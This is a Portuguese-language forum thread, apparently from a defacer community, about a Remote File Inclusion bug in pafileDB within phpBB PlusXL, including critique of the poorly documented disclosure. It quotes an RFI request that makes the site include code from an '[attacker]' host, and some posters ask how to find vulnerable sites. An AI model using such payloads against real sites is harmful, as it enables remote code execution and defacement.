Novo Bug de Remote File Inclusion(php injection) Descoberto por Darkfire

[Anonymous]

aew pessoal do darkers nos links abaixos vocês poderam vem o bug descoberto por eu, darkfire, aproveitem qe foi postado ontém no zone-h e hoje no milw0rm.... Nu tem muito sim bugado naum

http://www.zone-h.com/en/advisories/read/id=8986/

e

http://www.milw0rm.com/exploits/1774

by Darkfire <> Ir4dex Group <>

[rog]

isso ta meio confuso

1) Version : not specified
isso nao tem logica pelo menos a versao invadida

2) http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]
o que tem a ver [phpBBpath] com isso ?

3) isso so vai funfar com o register globals passado a on (muito rare)

4) $link_language = 'lang_english';
nao vejo vulnerabilidade nisso

5) include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );
o todas as paginas que usam esse include sao vulneraveis com o register globals passado a on

qualquer_pagina.php?module_root_path=http://[attacker] ?inutil=

vai passar a ser

include( http://[attacker] ?inutil=language/$link_language/lang_pafiledb$phpEx );

nem vou commentar mais

rog

[Anonymous]

primeira coisa
Version: not spefied(sei lah comu escreve nu fui eu qe passei pro inglês)
pq naum tem versão especifica

segundo fiote naum estou afim de saber seus conhecimentos de php pq eu nem sei php direito soh sei descubri bug .(soh sei du fuçometro)

ah se vc perceber eh [phpbbpath] eh pq eh um script incluson nu phpBB o pafileDB
se vc tivesse olhado uh baguiu direito vc naum fazeria essa pergunta idiota

eu tirei uma parte do codigo onde tah uh bug! ih naum a parte soh barte bugada

ih se naum gosto du qe eu faleí problema eh seu pelo menos os gringos gostaram tudo foram até nu canal du meu crew agradecer.

bye...bye...

[Anonymous]

ahh
entaum eh um bug no pafiledb q eh usado no phpbb??

pq o pafiledb pode ser usado sem o phpbb
q aliás
eu nunca vi ele no phpbb oO

[rog]

o problema com essa falha mal documentada e que o pafiledb e um script antigo que evoluiu muito

entao como nao se sabe qual e a versao vulneravel, teria que baixar o codigo fonte das versao para qual dela contem a falha

rog

[bloodrain]

[pafiledbpath]
que diretorio seria esse?
como saber se o site esta vulneravel?
como descobrir sites vul?

hehehe  varias perguntas
hehehe uma das primeiras vezeses que eu concordo com o rog

[Anonymous]

vamo um de cada vez

uh bug eh nu phpBB PlusXL onde vem incluso o pafileDB

Teve um que pergunto como pesquisa no google:
meu caro aí eh com vc, eu nu posso falar tudo se naum fica facil d+

pra pergunta como descobrir se ele está vuln:
soh injetando ah string fiote

pafiledbpath seria uh diretorio do pafiledb qe normalmente é /pafiledb/

ah ih pro comentario do Sr. Rog:
se eu dah uh negociu completo eu naum estarei encetivando o pessoal as pesquisar e nem a perguntar.

por isso qe os defacers taum em decadencia